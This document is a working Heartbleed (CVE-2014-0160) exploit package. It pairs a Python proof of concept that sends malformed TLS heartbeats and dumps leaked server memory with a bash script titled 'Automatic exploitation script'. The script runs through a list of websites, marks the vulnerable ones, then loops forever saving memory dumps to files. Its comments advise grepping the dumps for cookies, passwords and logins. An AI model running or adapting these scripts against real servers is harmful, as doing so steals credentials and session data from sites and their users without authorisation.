Automatic exploitation script - Heartbleed OpenSSL bug CVE-2014-0160

ssltest.py

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

ssltest.sh

#!/bin/bash

# Automatic exploitation script - Heartbleed OpenSSL bug CVE-2014-0160
# Using Python PoC from Jared Stafford ([email protected]): http://s3.jspenguin.org/ssltest.py
# Check pattern with (for example): tail -f *.txt | egrep -C 5 -i 'cookie|pass|pwd|login'
# Stop the script with (yes I know...): ps aux | grep 'ssltest\.sh' | awk '{print $2}' | xargs -x kill -9

filename='ssltest_website_list.txt' # Website list (one per line)
max_attempt=3 # Maximum number of attempt


# Sort and remove duplicate lines
echo -n "$(sort $filename | uniq -u | grep -v '^$')" > $filename
filelines=$(cat $filename)
i=0
# Read eatch line of the website list
for line in $filelines
do
    # Calculate line number
    let "i=$i+1"
    # If line not start with "#"
    if ! echo "$line" | grep -lq "^#"
    then
        # Check website
        echo "[+] Check $line (line $i)"
        status=0
        attempt=0
        # Check until max attempt reatched or vuln found
        until [ $status -eq 1 ] || [ $attempt -eq $max_attempt ]
        do
            let "attempt=$attempt+1"
            
            if echo "$line" | egrep -q ":" ; then
                arr=$(echo $line | tr ":" "\n")
                array=()
                for x in $arr
                do
                    array=( ${array[*]} $x )
                done
                #echo ${array[0]} ${array[1]}
                
                echo "ATTEMPT $attempt/$max_attempt: python ssltest.py ${array[0]} -p ${array[1]}"
                sslcheck=$(python ssltest.py ${array[0]} -p ${array[1]} 2>&1)
                wcl=$(echo "$sslcheck" | wc -l)
                if [ $wcl -gt 100 ]
                then
                    status=1
                    echo "IS VULN !!!"
                fi
            else
                echo "ATTEMPT $attempt/$max_attempt: python ssltest.py $line"
                sslcheck=$(python ssltest.py $line 2>&1)
                wcl=$(echo "$sslcheck" | wc -l)
                if [ $wcl -gt 100 ]
                then
                    status=1
                    echo "IS VULN !!!"
                fi
            fi
        done
        if [ $status -eq 0 ]
        then
            echo "NOT VULN..."
            sed -i "s/^$line/#$line/" $filename
        fi
    fi
done


# Let's make a dump file for eatch vulnerable website
filelines=$(cat $filename)
i=0
# Read eatch line of the website list
while true
do
    for line in $filelines
    do
        # If line not start with "#"
        if ! echo "$line" | grep -lq "^#"
        then
            if echo "$line" | egrep -q ":" ; then
                arr=$(echo $line | tr ":" "\n")
                array=()
                for x in $arr
                do
                    array=( ${array[*]} $x )
                done
                echo ${array[0]} ${array[1]}
                
                echo "~> python ssltest.py ${array[0]} -p ${array[1]}"
                python ssltest.py "${array[0]}" -p "${array[1]}" | tee -a "${array[0]}.txt"
            else
                echo "~> python ssltest.py $line"
                python ssltest.py "$line" | tee -a "$line.txt"
            fi
        fi
    done
done